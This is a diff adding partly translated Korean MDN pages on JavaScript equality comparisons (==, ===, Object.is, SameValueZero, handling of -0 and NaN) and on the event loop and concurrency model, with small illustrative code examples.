+<p>엄격한 같음은 거의 항상 사용하는 올바른 비교 연산입니다. 숫자를 뺀 모든 값에 대해, 분명한 의미(semantics)를 사용합니다: 값은 그 자체와만 같습니다(/ 단지 그 자체입니다). 숫자는 서로 다른 두 극단 상황(edge case)을 얼버무리기(gloss over) 위해 약간 다른 의미를 사용합니다. 첫째는 부동 소수점 0은 양이든 음이든 하나의 부호를 지닙니다. 이는 특정 수학상의 해결책을 나타내는 데 유용하지만, 대부분의 상황에 <code>+0</code>과 <code>-0</code>의 차이에 신경쓰지 않기에, 엄격한 같음은 둘을 같은 값으로 다룹니다. 둘째는 부동 소수점은 not-a-number 값(<code>NaN</code>) 개념을 포함합니다, 특정 잘못 정의된(ill-defined) 수학 문제의 해결책을 보여주기 위해: 예를 들어, 양의 무한대(infinity)에 추가된 음의 무한대. 엄격한 같음은 <code>NaN</code>을 다른 모든 값과 같지 않게 다룹니다 -- 자신 포함. (<code>(x !== x)</code>가 <code>true</code>인 유일한 경우는 <code>x</code>가 <code>NaN</code>일 때입니다.)</p>
+
+<h2 id="를_사용하는_느슨한_같음">==를 사용하는 느슨한 같음</h2>
+
+<p>느슨한 같음(loose equality)은 두 값이 같은 지 비교합니다, 두 값을 공통(common) 형으로 변환한 <em>후</em>에. 변환 후 (하나 또는 양쪽이 변환을 거칠 수 있음), 최종 같음 비교는 꼭 <code>===</code>처럼 수행됩니다. 느슨한 같음은 대칭(<em>symmetric</em>)입니다: <code>A == B</code>는 <code>A</code> 및 <code>B</code>가 어떤 값이든 항상 <code>B == A</code>와 같은 의미를 갖습니다 (적용된 변환의 순서 말고는).</p>
+
+<p>같음 비교는 다양한 형의 피연산자에 대해 다음과 같이 수행됩니다:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="row"> </th>
+ <th colspan="7" scope="col" style="text-align: center;">피연산자 B</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row"> </th>
+ <td> </td>
+ <td style="text-align: center;">Undefined</td>
+ <td style="text-align: center;">Null</td>
+ <td style="text-align: center;">Number</td>
+ <td style="text-align: center;">String</td>
+ <td style="text-align: center;">Boolean</td>
+ <td style="text-align: center;">Object</td>
+ </tr>
+ <tr>
+ <th colspan="1" rowspan="6" scope="row">피연산자 A</th>
+ <td>Undefined</td>
+ <td style="text-align: center;"><code>true</code></td>
+ <td style="text-align: center;"><code>true</code></td>
+ <td style="text-align: center;"><code>false</code></td>
+ <td style="text-align: center;"><code>false</code></td>
+ <td style="text-align: center;"><code>false</code></td>
+ <td style="text-align: center;"><code>false</code></td>
+ </tr>
+ <tr>
+ <td>Null</td>
+ <td style="text-align: center;"><code>true</code></td>
+ <td style="text-align: center;"><code>true</code></td>
+ <td style="text-align: center;"><code>false</code></td>
+ <td style="text-align: center;"><code>false</code></td>
+ <td style="text-align: center;"><code>false</code></td>
+ <td style="text-align: center;"><code>false</code></td>
+ </tr>
+ <tr>
+ <td>Number</td>
+ <td style="text-align: center;"><code>false</code></td>
+ <td style="text-align: center;"><code>false</code></td>
+ <td style="text-align: center;"><code>A === B</code></td>
+ <td style="text-align: center;"><code>A === ToNumber(B)</code></td>
+ <td style="text-align: center;"><code>A === ToNumber(B)</code></td>
+ <td style="text-align: center;"><code>A == ToPrimitive(B)</code></td>
+ </tr>
+ <tr>
+ <td>String</td>
+ <td style="text-align: center;"><code>false</code></td>
+ <td style="text-align: center;"><code>false</code></td>
+ <td style="text-align: center;"><code>ToNumber(A) === B</code></td>
+ <td style="text-align: center;"><code>A === B</code></td>
+ <td style="text-align: center;"><code>ToNumber(A) === ToNumber(B)</code></td>
+ <td style="text-align: center;"><code>A == ToPrimitive(B)</code></td>
+ </tr>
+ <tr>
+ <td>Boolean</td>
+ <td style="text-align: center;"><code>false</code></td>
+ <td style="text-align: center;"><code>false</code></td>
+ <td style="text-align: center;"><code>ToNumber(A) === B</code></td>
+ <td style="text-align: center;"><code>ToNumber(A) === ToNumber(B)</code></td>
+ <td style="text-align: center;"><code>A === B</code></td>
+ <td style="text-align: center;"><code>ToNumber(A) == ToPrimitive(B)</code></td>
+ </tr>
+ <tr>
+ <td>Object</td>
+ <td style="text-align: center;"><code>false</code></td>
+ <td style="text-align: center;"><code>false</code></td>
+ <td style="text-align: center;"><code>ToPrimitive(A) == B</code></td>
+ <td style="text-align: center;"><code>ToPrimitive(A) == B</code></td>
+ <td style="text-align: center;"><code>ToPrimitive(A) == ToNumber(B)</code></td>
+ <td style="text-align: center;"><code>A === B</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>위 표에서, <code>ToNumber(A)</code>는 비교 전에 그 인수를 숫자로 변환하려고 시도합니다. 그 동작(behavior)은 <code>+A</code>(단항 + 연산자)에 해당합니다. <code>ToPrimitive(A)</code>는 그 객체 인수를 원시형 값으로 변환하려고 시도합니다, 다양한 순서로 <code>A</code>의 <code>A.toString</code> 및 <code>A.valueOf</code> 메서드 호출을 시도하여.</p>
+
+<p>전통 및 ECMAScript에 따르면, 모든 객체는 <code>undefined</code> 및 <code>null</code>과 느슨하게 같지 않습니다. 그러나 대부분의 브라우저는 일부 문맥(context)에서 <code>undefined</code>값을 모방하는(<em>emulate</em>) 것처럼 행동하기 위해 매우 좁은 부류의 객체(특히, 모든 페이지에 대한 <code>document.all</code> 객체)에 허용합니다. 느슨한 같음이 그러한 문맥 중 하나입니다: <code>null == A</code> 및 <code>undefined == A</code>는 A가 <code>undefined</code>를 <em>모방</em>하는 객체인 경우, 그리고 그 경우에만 true로 평가합니다. 다른 모든 경우에 객체는 결코 <code>undefined</code> 또는 <code>null</code>과 느슨하게 같지 않습니다.</p>
+
+<p> </p>
+
+<p>전통적으로 ECMAScript에 따르면 모든 객체는 <code>undefined</code> 및 <code>null</code>과 느슨하게 같지 않습니다. 그러나 대부분의 브라우저는 일부 문맥(context)에서 정의되지 않은 값(<code>undefined</code>)을 모방하는(<em>emulate</em>) 것처럼 동작하는 매우 좁은 개체 클래스 (특히 모든 페이지의 <code>document.all</code> 개체)를 허용합니다. Loose equality는 다음과 같은 컨텍스트 중 하나입니다. <code>null == A</code> 및 <code>undefined == A</code>는 <code>undefined</code>를 에뮬레이트하는 객체 인 경우에만 true로 평가됩니다. 다른 모든 경우에는 객체가 <code>undefined</code>거나 <code>null</code>이 될 수 없습니다.</p>
+
+<pre class="brush: js">var num = 0;
+var obj = new String("0");
+var str = "0";
+var b = false;
+
+console.log(num == num); // true
+console.log(obj == obj); // true
+console.log(str == str); // true
+
+console.log(num == obj); // true
+console.log(num == str); // true
+console.log(obj == str); // true
+console.log(null == undefined); // true
+
+// 둘 다 false, 드문 경우를 제외하고는
+console.log(obj == null);
+console.log(obj == undefined);
+</pre>
+
+<p>대부분의 경우 느슨한 같음을 사용하는 것은 바람직하지 않습니다. strict equality를 사용한 비교의 결과는 예측하기가 쉽고 형 강제(coercion) 변환이 일어나지 않기에 평가가 빠를 수 있습니다.</p>
+
+<p> </p>
+
+<h2 id="Same-value_equality">Same-value equality</h2>
+
+<p>등가(same-value) 같음은 최종 사용 사례(use case)를 다룹니다: 두 값이 모든 문맥에서 <em>기능상 같은지</em> 여부를 결정하는. (이 사용 사례는 <a href="https://ko.wikipedia.org/wiki/리스코프_치환_원칙" title="Liskov substitution principle">리스코프 치환 원칙</a>의 실례를 보입니다.) 다음은 불변 속성(property)을 변화시키려 시도할 때 일어나는 한 사례입니다:</p>
+
+<pre class="brush: js">// 불변(immutable) NEGATIVE_ZERO 속성을 Number 생성자에 추가.
+Object.defineProperty(Number, "NEGATIVE_ZERO",
+ { value: -0, writable: false, configurable: false, enumerable: false });
+
+function attemptMutation(v)
+{
+ Object.defineProperty(Number, "NEGATIVE_ZERO", { value: v });
+}
+</pre>
+
+<p><code>Object.defineProperty</code>는 변경 불가능한 속성을 변경하려고 시도 할 때 예외를 throw하지만 실제 변경이 요청되지 않으면 아무 것도 수행하지 않습니다. <code>v</code>가 <code>-0</code>이면, 변경 사항이 요청되지 않고 오류가 발생하지 않습니다. 내부적으로, 불변의 property가 재정의 (redefined)되었을 때, 새롭게 지정된 값은 같은 값의 동등성을 사용해 현재의 값과 비교됩니다.</p>
+
+<p>Same-value equality는 {{jsxref("Object.is")}} 메서드로 제공됩니다.</p>
+
+<h2 id="Same-value-zero_equality">Same-value-zero equality</h2>
+
+<p>등가 같음과 비슷하지만 +0과 -0이 같다고 여깁니다.</p>
+
+<h2 id="스펙_내_추상적_같음_엄격한_같음_및_등가">스펙 내 추상적 같음, 엄격한 같음 및 등가</h2>
+
+<p>In ES5, the comparison performed by <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators"><code>==</code></a> is described in <a href="http://ecma-international.org/ecma-262/5.1/#sec-11.9.3">Section 11.9.3, The Abstract Equality Algorithm</a>. The <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators"><code>===</code></a> comparison is <a href="http://ecma-international.org/ecma-262/5.1/#sec-11.9.6">11.9.6, The Strict Equality Algorithm</a>. (Go look at these. They're brief and readable. Hint: read the strict equality algorithm first.) ES5 also describes, in <a href="http://ecma-international.org/ecma-262/5.1/#sec-9.12">Section 9.12, The SameValue Algorithm</a> for use internally by the JS engine. It's largely the same as the Strict Equality Algorithm, except that 11.9.6.4 and 9.12.4 differ in handling {{jsxref("Number")}}s. ES2015 simply proposes to expose this algorithm through {{jsxref("Object.is")}}.</p>
+
+<p>We can see that with double and triple equals, with the exception of doing a type check upfront in 11.9.6.1, the Strict Equality Algorithm is a subset of the Abstract Equality Algorithm, because 11.9.6.2–7 correspond to 11.9.3.1.a–f.</p>
+
+<h2 id="같음_비교를_이해하기_위한_모델은">같음 비교를 이해하기 위한 모델은?</h2>
+
+<p>ES2015 이전에, 이중 등호 및 삼중 등호에 대해 하나가 다른 하나의 "확장"판이라고 (말)했을 지 모릅니다. 예를 들어, 누군가는 이중 등호는 삼중 등호의 확장판이라고 합니다, 전자는 후자가 하는 모든 것을 하지만 그 피연산자에 형 변환을 하기에. 가령, <code>6 == "6"</code>. (대신에, 이중 등호는 기준선이고 삼중 등호는 향상판이라고 하는 이도 있습니다, 두 피연산자가 같은 형이길 요구하고 그래서 별도 제약을 추가하기에. 어느 게 더 이해하기 좋은 모델인지는 당신이 상태(things)를 보기 위해 선택한 방법에 달렸습니다.)</p>
+
+<p>However, this way of thinking about the built-in sameness operators is not a model that can be stretched to allow a place for ES2015's {{jsxref("Object.is")}} on this "spectrum". {{jsxref("Object.is")}} isn't simply "looser" than double equals or "stricter" than triple equals, nor does it fit somewhere in between (i.e., being both stricter than double equals, but looser than triple equals). We can see from the sameness comparisons table below that this is due to the way that {{jsxref("Object.is")}} handles {{jsxref("NaN")}}. Notice that if <code>Object.is(NaN, NaN)</code>evaluated to <code>false</code>, we <em>could</em> say that it fits on the loose/strict spectrum as an even stricter form of triple equals, one that distinguishes between <code>-0</code> and <code>+0</code>. The {{jsxref("NaN")}} handling means this is untrue, however. Unfortunately, {{jsxref("Object.is")}} simply has to be thought of in terms of its specific characteristics, rather than its looseness or strictness with regard to the equality operators.</p>
+
+<p> </p>
+
+<table>
+ <caption>Sameness Comparisons</caption>
+ <thead>
+ <tr>
+ <th scope="col">x</th>
+ <th scope="col">y</th>
+ <th scope="col"><code>==</code></th>
+ <th scope="col"><code>===</code></th>
+ <th scope="col"><code>Object.is</code></th>
+ <th scope="col"><code>SameValueZero</code></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>undefined</code></td>
+ <td><code>undefined</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ </tr>
+ <tr>
+ <td><code>null</code></td>
+ <td><code>null</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ </tr>
+ <tr>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ </tr>
+ <tr>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ </tr>
+ <tr>
+ <td><code>'foo'</code></td>
+ <td><code>'foo'</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ </tr>
+ <tr>
+ <td><code>0</code></td>
+ <td><code>0</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ </tr>
+ <tr>
+ <td><code>+0</code></td>
+ <td><code>-0</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>false</code></td>
+ <td><code>true</code></td>
+ </tr>
+ <tr>
+ <td><code>+0</code></td>
+ <td><code>0</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ </tr>
+ <tr>
+ <td><code>-0</code></td>
+ <td><code>0</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ <td><code>false</code></td>
+ <td><code>true</code></td>
+ </tr>
+ <tr>
+ <td><code>0</code></td>
+ <td><code>false</code></td>
+ <td><code>true</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>""</code></td>
+ <td><code>false</code></td>
+ <td><code>true</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>""</code></td>
+ <td><code>0</code></td>
+ <td><code>true</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>'0'</code></td>
+ <td><code>0</code></td>
+ <td><code>true</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>'17'</code></td>
+ <td><code>17</code></td>
+ <td><code>true</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>[1, 2]</code></td>
+ <td><code>'1,2'</code></td>
+ <td><code>true</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>new String('foo')</code></td>
+ <td><code>'foo'</code></td>
+ <td><code>true</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>null</code></td>
+ <td><code>undefined</code></td>
+ <td><code>true</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>null</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>undefined</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>{ foo: 'bar' }</code></td>
+ <td><code>{ foo: 'bar' }</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>new String('foo')</code></td>
+ <td><code>new String('foo')</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>0</code></td>
+ <td><code>null</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>0</code></td>
+ <td><code>NaN</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>'foo'</code></td>
+ <td><code>NaN</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>NaN</code></td>
+ <td><code>NaN</code></td>
+ <td><code>false</code></td>
+ <td><code>false</code></td>
+ <td><code>true</code></td>
+ <td><code>true</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="jsxref(Object.is)_대신_삼중_등호를_사용하는_경우">{{jsxref("Object.is")}} 대신 삼중 등호를 사용하는 경우</h2>
+
+<p>In general, the only time {{jsxref("Object.is")}}'s special behavior towards zeros is likely to be of interest is in the pursuit of certain meta-programming schemes, especially regarding property descriptors, when it is desirable for your work to mirror some of the characteristics of {{jsxref("Object.defineProperty")}}. If your use case does not require this, it is suggested to avoid {{jsxref("Object.is")}} and use <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators"><code>===</code></a> instead. Even if your requirements involve having comparisons between two {{jsxref("NaN")}} values evaluate to <code>true</code>, generally it is easier to special-case the {{jsxref("NaN")}} checks (using the {{jsxref("isNaN")}} method available from previous versions of ECMAScript) than it is to work out how surrounding computations might affect the sign of any zeros you encounter in your comparison.</p>
+
+<p>여기 당신 코드에서 그 자체를 드러내기 위해 <code>-0</code>과 <code>+0</code> 사이의 구별을 일으킬 수도 있는 철저하지 않은(in-exhaustive) 내장 메서드 및 연산자 목록이 있습니다:</p>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#-_.28Unary_Negation.29"><code>- (unary negation)</code></a><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> </span></dt>
+</dl>
+
+<pre class="syntaxbox">let stoppingForce = obj.mass * -obj.velocity</pre>
+
+<dl>
+ <dd>
+ <p><code>obj.velocity</code>가 <code>0</code>인 (또는 <code>0</code>으로 계산하는) 경우, <code>-0</code>이 그 자리에 소개되고 <code>stoppingForce</code>로 전해집니다. </p>
+ </dd>
+ <dt>{{jsxref("Math.atan2")}}</dt>
+ <dt>{{jsxref("Math.ceil")}}</dt>
+ <dt>{{jsxref("Math.pow")}}</dt>
+ <dt>{{jsxref("Math.round")}}<span style="font-size: 1rem; letter-spacing: -0.00278rem;"> </span></dt>
+ <dd>In some cases,it's possible for a <code>-0</code> to be introduced into an expression as a return value of these methods even when no <code>-0</code> exists as one of the parameters. For example, using {{jsxref("Math.pow")}} to raise {{jsxref("Infinity", "-Infinity")}} to the power of any negative, odd exponent evaluates to <code>-0</code>. Refer to the documentation for the individual methods. </dd>
+</dl>
+
+<dl>
+ <dt>{jsxref("Math.floor")}}</dt>
+ <dt>{{jsxref("Math.max")}}</dt>
+ <dt>{{jsxref("Math.min")}}</dt>
+ <dt>{{jsxref("Math.sin")}}</dt>
+ <dt>{{jsxref("Math.sqrt")}}</dt>
+ <dt>{{jsxref("Math.tan")}}<span style="font-size: 1rem; letter-spacing: -0.00278rem;"> </span></dt>
+ <dd>It's possible to get a <code>-0</code> return value out of these methods in some cases where a <code>-0</code> exists as one of the parameters. E.g., <code>Math.min(-0, +0)</code> evaluates to <code>-0</code>. Refer to the documentation for the individual methods.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">~</a></code></dt>
+ <dt><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">&lt;&lt;</a></code></dt>
+ <dt><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">&gt;&gt;</a></code></dt>
+ <dd>이러한 연산자 각각은 내부에서 ToInt32 알고리즘을 사용합니다. 내부 32-bit 정수형에는 0에 대해 한 표현만 있기에, <code>-0</code>은 역(inverse) 연산 후 왕복 여행(round trip, 이중 역 연산)에 살아남지 못합니다. 가령, <code>Object.is(~~(-0), -0)</code>와 <code>Object.is(-0 &lt;&lt; 2 &gt;&gt; 2, -0)</code>는 <code>false</code>로 평가합니다.</dd>
+</dl>
+
+<p>Relying on {{jsxref("Object.is")}} when the signedness of zeros is not taken into account can be hazardous. Of course, when the intent is to distinguish between <code>-0</code> and <code>+0</code>, it does exactly what's desired.</p>
+
+<h2 id="Caveat_jsxref(Object.is)_and_NaN">Caveat: {{jsxref("Object.is")}} and NaN</h2>
+
+<p>The {{jsxref("Object.is")}} specification treats all instances of {{jsxref("NaN")}} as the same object. However, since <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays">typed arrays</a> are available, we can have distinct instances, which don't behave identically in all contexts. For example:</p>
+
+<pre><code>var f2b = x =&gt; new Uint8Array(new Float64Array([x]).buffer);
+var b2f = x =&gt; new Float64Array(x.buffer)[0];
+var n = f2b(NaN);
+n[0] = 1;
+var nan2 = b2f(n);
+nan2;
+// &gt; NaN
+Object.is(nan2, NaN);
+// &gt; true
+f2b(NaN);
+// &gt; Uint8Array(8) [0, 0, 0, 0, 0, 0, 248,127)
+f2b(nan2);
+// &gt; Uint8Array(8) [1, 0, 0, 0, 0, 0, 248,127)</code></pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="http://dorey.github.io/JavaScript-Equality-Table/">JS 비교 표</a></li>
+</ul>
diff --git a/files/ko/web/javascript/eventloop/index.html b/files/ko/web/javascript/eventloop/index.html
new file mode 100644
index 0000000000..bc4330700d
--- /dev/null
+++ b/files/ko/web/javascript/eventloop/index.html
@@ -0,0 +1,147 @@
+---
+title: 동시성 모델과 이벤트 루프
+slug: Web/JavaScript/EventLoop
+tags:
+ - 이벤트 루프
+translation_of: Web/JavaScript/EventLoop
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<p>자바스크립트는 코드 실행, 이벤트 수집과 처리, 큐에 놓인 하위 작업들을 담당하는 <strong>이벤트 루프</strong>에 기반한 동시성(concurrency) 모델을 가지고 있습니다. 이 모델은 C 또는 Java와 같은 언어와 완전히 다릅니다.</p>
+
+<h2 id="런타임_개념">런타임 개념</h2>
+
+<p>이어지는 섹션에서는 이론적 모델을 설명합니다. 모던 자바스크립트 엔진들은 아래 묘사된 개념들을 구현하고 최적화 합니다.</p>
+
+<h3 id="시각적_표현">시각적 표현</h3>
+
+<p style="text-align: center;"><img alt="Stack, heap, queue" src="/files/4617/default.svg" style="height: 270px; width: 294px;"></p>
+
+<h3 id="Stack">Stack</h3>
+
+<p>함수 호출은 <em>프레임</em>들의 스택을 형성합니다.</p>
+
+<pre class="brush: js"><code>function foo(b) {
+ var a = 10;
+ return a + b + 11;
+}
+
+function bar(x) {
+ var y = 3;
+ return foo(x * y);
+}
+
+console.log(bar(7)); //returns 42</code></pre>
+
+<p><code>bar</code>를 호출할 때, <code>bar</code>의 인자와 지역 변수를 포함하는 첫 번째 프레임이 생성됩니다. <code>bar</code>가 <code>foo</code>를 호출하면 두 번째 프레임이 만들어져 <code>foo</code>의 인수와 지역 변수가 들어있는 첫 번째 프레임의 맨 위에 푸시됩니다. <code>foo</code>가 반환되면, 최상위 프레임 요소는 <code>bar</code>의 호출 프레임만을 남겨둔 채로 스택 밖으로 빠져나옵니다. <code>bar</code>가 반환되면, 스택은 비워집니다.</p>
+
+<h3 id="Heap">Heap</h3>
+
+<p>객체들은 힙 안에 할당됩니다. 힙은 구조화되지 않은 넓은 메모리 영역을 지칭합니다.</p>
+
+<h3 id="Queue">Queue</h3>
+
+<p>JavaScript 런타임은 처리 할 메시지 목록 인 메시지 대기열을 사용합니다. 각 메시지에는 메시지를 처리하기 위해 호출되는 관련 함수가 있습니다.</p>
+
+<p>{{anch("Event loop", "event loop")}} 중 어떤 시점에서 런타임은 대기열에서 가장 오래된 메시지부터 처리하기 시작합니다. 그렇게하기 위해, 메시지는 큐에서 제거되고 해당 기능이 메시지를 입력 매개 변수로 호출됩니다. 언제나 그렇듯이, 함수를 호출하면 그 함수의 사용을위한 새로운 스택 프레임이 생성됩니다.</p>
+
+<p>함수의 처리는 스택이 다시 비워 질 때까지 계속됩니다. 이벤트 루프는 큐의 다음 메시지를 처리합니다(존재할 경우).</p>
+
+<h2 id="Event_loop">Event loop</h2>
+
+<p><strong>Event loop</strong>는 그 구현 방식 때문에 붙은 이름이며 보통 다음과 유사합니다 :</p>
+
+<pre class="brush: js">while(queue.waitForMessage()){
+ queue.processNextMessage();
+}</pre>
+
+<p><code>queue.waitForMessage()</code> 함수는 현재 아무 메시지도 없다면 새로운 메시지 도착을 동기적으로 기다립니다.</p>
+
+<h3 id="Run-to-completion">"Run-to-completion"</h3>
+
+<p>각 메시지는 다른 메시지가 처리되기 전에 완전히 처리됩니다.</p>
+
+<p>이것은 함수가 실행될 때마다 미리 비워질 수 없고 다른 코드가 실행되기 전에 완전히 실행되며 함수가 조작하는 데이터를 수정할 수 있다는 사실을 포함하여 프로그램에 대한 추론을 할 때 좋은 속성을 제공합니다. 이것은 C와는 다릅니다. 예를 들어 함수가 쓰레드에서 실행된다면 런타임 시스템이 다른 쓰레드에서 다른 코드를 실행하기 위해 어느 시점에서 멈출 수 있습니다.</p>
+
+<p>이 모델의 부정적인 면은 어떤 메시지가 완료되기 까지 지나치게 오래 걸린다면 웹 어플리케이션은 클릭이나 스크롤과 같은 사용자 인터랙션을 처리할 수 없게 됩니다. 브라우저는 이러한 상황을 "a script is taking too long to run"과 같은 대화상자로 완화 합니다. 추천되는 좋은 방법은 메시지 처리를 짧도록 만드는 것과 하나의 메시지를 여러개의 메시지로 나누는 것 입니다.</p>
+
+<h3 id="메시지_추가하기">메시지 추가하기</h3>
+
+<p>웹 브라우저에서 이벤트 리스너가 부착된 이벤트가 발생할 때마다 메시지가 추가됩니다. 리스너가 없으면 이벤트는 손실됩니다. 클릭 이벤트 핸들러가 있는 요소를 클릭하면 다른 이벤트와 마찬가지로 메시지가 추가됩니다.</p>
+
+<p><code><a href="/en-US/docs/Web/API/WindowTimers.setTimeout" title="/en-US/docs/window.setTimeout">setTimeout</a></code> 함수는 2 개의 인수, 대기열에 추가 할 메시지와 시간값(선택사항, 기본값은 0)으로 호출됩니다. 시간 값은 메시지가 실제로 큐에 푸시 될 때까지의 (최소) 지연을 나타냅니다. 대기열에 다른 메시지가 없으면 지연 직후에 메시지가 처리됩니다. 그러나 메시지가있는 경우 setTimeout 메시지는 다른 메시지가 처리 될 때까지 기다려야합니다. 따라서 두 번째 인수는 최소 시간을 나타내지 만 보장 된 시간은 아닙니다.</p>
+
+<p>다음은 이 개념에 대한 예제입니다 (<code>setTimeout</code>은 타이머 만료 직후에 실행되지 않습니다).</p>
+
+<pre class="brush: js"><code>const s = new Date().getSeconds();
+
+setTimeout(function() {
+ // prints out "2", meaning that the callback is not called immediately after 500 milliseconds.
+ console.log("Ran after " + (new Date().getSeconds() - s) + " seconds");
+}, 500);
+
+while(true) {
+ if(new Date().getSeconds() - s &gt;= 2) {
+ console.log("Good, looped for 2 seconds");
+ break;
+ }
+}</code></pre>
+
+<h3 id="Zero_delays">Zero delays</h3>
+
+<p>Zero delay는 실제로 0ms 후에 콜백이 시작된다는 의미는 아닙니다. 0ms 지연된 {{domxref("WindowTimers.setTimeout", "setTimeout")}}은 주어진 간격 후에 콜백 함수를 실행하지 않습니다.</p>
+
+<p>실행은 큐에 대기중인 작업 수에 따라 다릅니다. 아래 예에서, 콜백의 메시지가 처리되기 전에 콘솔에 "this is just message"메시지가 기록됩니다. 왜냐하면 지연(delay)은 보장된 시간이 아니라 요청을 처리하기 위해 필요한 최소의 시간이기 때문입니다.</p>
+
+<p>기본적으로 setTimeout은 setTimeout에 대한 특정 시간 제한을 지정 했더라도 대기중인 메시지의 모든 코드가 완료 될 때까지 대기해야합니다.</p>
+
+<pre class="brush: js"><code>(function() {
+
+ console.log('this is the start');
+
+ setTimeout(function cb() {
+ console.log('this is a msg from call back');
+ });
+
+ console.log('this is just a message');
+
+ setTimeout(function cb1() {
+ console.log('this is a msg from call back1');
+ }, 0);
+
+ console.log('this is the end');
+
+})();
+
+// "this is the start"
+// "this is just a message"
+// "this is the end"
+// note that function return, which is undefined, happens here
+// "this is a msg from call back"
+// "this is a msg from call back1"</code></pre>
+
+<h3 id="몇가지_런타임_통신">몇가지 런타임 통신</h3>
+
+<p>웹워커 또는 크로스 오리진 <code>iframe</code>은 자신의 스택, 힙, 메시지 큐를 가지고 있습니다. 두 별개의 런타임들은 <a href="/en-US/docs/DOM/window.postMessage" title="/en-US/docs/DOM/window.postMessage"><code>postMessage</code></a> method를 통해서만 서로 통신할 수 있습니다. 이 메서드는 다른 런타임이 <code>message</code> 이벤트 핸들러를 등록하고 있다면 해당 런타임의 큐에 메시지를 추가합니다.</p>
+
+<h2 id="Never_blocking">Never blocking</h2>
+
+<p>이벤트 루프 모델의 무척 재밌는 부분은 다른 언어와 달리 자바스크립트는 결코 Block하지 않는다는 것입니다. I/O 처리는 흔히 이벤트와 콜백으로 처리 됩니다. 그래서 응용프로그램이 <a href="/en-US/docs/Web/API/IndexedDB_API" title="/en-US/docs/IndexedDB">IndexedDB</a> query 반환을 기다리고 있거나 <a href="/en-US/docs/Web/API/XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest">XHR</a> 요청 반환을 기다릴 때에도 여전히 사용자 입력과 같은 다른 것을을 처리할 수 있습니다.</p>
+
